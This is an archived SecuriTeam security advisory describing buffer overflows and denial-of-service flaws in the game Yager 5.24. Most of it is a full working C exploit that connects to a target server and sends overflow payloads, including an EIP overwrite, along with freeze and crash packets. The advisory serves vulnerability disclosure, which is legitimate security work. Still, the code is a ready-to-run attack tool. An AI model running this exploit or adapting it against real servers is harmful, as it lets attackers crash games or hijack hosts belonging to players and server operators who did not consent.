[NT] Yager Multiple Vulnerabilities (Multiple Buffer Overflows and DoS)

SecuriTeam <[email protected]>
Newsgroups gmane.comp.security.securiteam
Message-ID <[email protected]>
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Yager Multiple Vulnerabilities (Multiple Buffer Overflows and DoS)
------------------------------------------------------------------------


SUMMARY

" <http://www.yager.de/en/index.html> Yager , a futuristic aerial 3D 
combat/action game, puts the player in the role of Magnus Tide, a noble, 
experienced freelance fighter-pilot on a mission to maintain the peace and 
status quo of his ultramodern world. His quest leads him through a variety 
of combat challenges."

The game Yager contains multiple buffer overflows that allow attackers to 
execute arbitrary code, and also due to lack of filtering allows attackers 
to crash or hang the game.

DETAILS

Vulnerable Systems:
 * Yager version 5.24

Nickname Buffer Overflow:
The game is affected by a buffer-overflow in the nickname field (ID 0x1e) 
that allows an attacker to execute malicious code.

Data Block Buffer Overflow:
The buffer used to receive the data from the socket is 256 bytes long 
while the maximum size of the data block is 65536 (a 16 bit number) 
causing a buffer-overflow.

Freeze Caused by Incomplete Data Block:
The server and the clients connected to it can be easily freezed through 
the sending of incomplete data. The problem is that the game is 
synchronized with the receiving of the network data so it is blocked until 
all the expected data is received. For example, the header of the data 
blocks is 10 bytes long so if we send 9 or less bytes we are able to 
freeze the game.

Multiple Crashes Caused by Corrupted Data:
The game doesn't use enough checks to verify the correctness of the data 
received so is possible to cause various crashes through the usage of 
malformed data.

Exploit:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif

#define VER "0.1"
#define BUFFSZ (HEADSZ + 65536)
#define PORT 34855
#define TIMEOUT 3
#define HEADSZ 10
#define EIP "\xde\xc0\xad\xde"
#define CRASHSZ 100
#define NICKBOF "\x00\x00\x00\x00" /* vehicle type */ \
                    "\x01\x00\x00\x00" /* team */ \
                    "\xff\xff\xff\xff" /* nickname size, ignored! */ \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    EIP \
                    "aaaaaaaaaaaaaaaa\0"
#define PCKBOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aa" EIP

#define SHOW(x) printf(x "%n%s%n\n", &tmp, p, &len); \
                    p += (len - tmp) + 1;
#define SENDTO(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr 
*)&peer, sizeof(peer)) \
                      < 0) std_err();
#define RECVFROM if(timeout(sd) < 0) { \
                        fputs("\nError: socket timeout, no reply 
received\n\n", stdout); \
                        exit(1); \
                    } \
                    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                    if(len < 0) std_err();
#define SEND(x,y) if(send(sd, x, y, 0) \
                      < 0) std_err();

u_long resolv(char *host);
int timeout(int sock);
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd,
            len,
            attack,
            tmp,
            autoport = 1;
    u_short port = PORT;
    u_char *buff,
            info[] =
                "Y_NET_YAGER_CLIENT\0"
                "\x00\x00" "\x00\x00",
            *p;
    struct yager_head {
        u_long type;
        u_short size;
        u_short pck1;
        u_short pck2;
    } *yh;

    setbuf(stdout, NULL);

    fputs("\n"
        "Yager <= 5.24 multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(auto)]\n"
            "\n"
            "Attacks:\n"
            " 1 = nickname buffer-overflow\n"
            " 2 = big data buffer-overflow\n"
            " 3 = freeze of server and connected clients\n"
            " 4 = crash using type 0x1d (in 0x0050e970)\n"
            " 5 = crash using type 0x22 (in 0x004fd2b8)\n"
            " 6 = crash using type 0x24 (in 0x004fd2f5)\n"
            " 7 = crash using type 0x28 (in 0x004b0f1b)\n"
            "\n", argv[0]);
        exit(1);
    }

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 3) {
        autoport = 0;
        port = atoi(argv[3]);
    }

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    printf("- target %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    if(autoport) {
        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();

        fputs("- request informations:\n", stdout);
        *(u_short *)(info + 19) = ~time(NULL);
        SENDTO(info);
        RECVFROM;
        close(sd);

        p = buff + 19;
        port = ntohs(*(u_short *)p);
        printf("\n Server port %d\n", port);
        p += 2;
        SHOW(" Map ");
        printf(" Version %d.%d\n", p[1], p[0]);
        p += 2;
        SHOW(" Server name ");
        p += 4;
        printf(" Players %d / %d\n\n", p[1], p[0]);

        peer.sin_port = htons(port);
    }

    attack = atoi(argv[1]);
    if(attack > 7) {
        fputs("\nError: you have chosen a wrong attack number\n\n", 
stdout);
        exit(1);
    }

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    yh = (struct yager_head *)buff;
    yh->pck1 = tmp = ~time(NULL) & 0xffff;
    yh->pck2 = 0;

    if(attack == 1) {
        yh->type = 0x1e;
        memcpy(buff + HEADSZ, NICKBOF, sizeof(NICKBOF) - 1);
        yh->size = sizeof(NICKBOF) - 1;
        fputs("- send long data block for nickname buffer-overflow\n", 
stdout);

    } else if(attack == 2) {
        yh->type = 0x00; // almost any other type is ok
        memcpy(buff + HEADSZ, PCKBOF, sizeof(PCKBOF) - 1);
        yh->size = sizeof(PCKBOF) - 1;
        fputs("- send long data block for packet buffer-overflow\n", 
stdout);

    } else if(attack == 3) {
        yh->type = 0x1b;
        yh->size = 0;
        printf("- server waits for %d bytes but we send a partial 
header\n", HEADSZ);
        tmp %= HEADSZ;
        if(tmp <= 0) tmp = 1;
        SEND(buff, tmp);
        fputs(" Server and connected clients should be freezed, press 
RETURN to stop the attack\n", stdout);
        fgetc(stdin);
        close(sd);
        return(0);

    } else {
        if(attack == 4) {
            yh->type = 0x1d;
        } else if(attack == 5) {
            yh->type = 0x22;
        } else if(attack == 6) {
            yh->type = 0x24;
        } else if(attack == 7) {
            yh->type = 0x28;
        }

        memset(buff + HEADSZ, 0xff, CRASHSZ);
        yh->size = CRASHSZ;
        printf("- send crash data with type 0x%08lx\n", yh->type);
    }

    SEND(buff, yh->size + HEADSZ);
    fputs("- check server status\n", stdout);
    if(!timeout(sd)) {
        if(recv(sd, buff, BUFFSZ, 0) < 0) {
            fputs("\nServer IS vulnerable!!!\n\n", stdout);
        } else {
            fputs("\nServer doesn't seem vulnerable\n\n", stdout);
        }
    } else {
        fputs("\nNo reply from the server, it is probably not 
vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

/* EOF */

In order to use winerr.h please see the address:  
<http://www.securiteam.com/windowsntfocus/5LP0M2KDPI.html> 
http://www.securiteam.com/windowsntfocus/5LP0M2KDPI.html


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/adv/yagerbof-adv.txt> 
http://aluigi.altervista.org/adv/yagerbof-adv.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.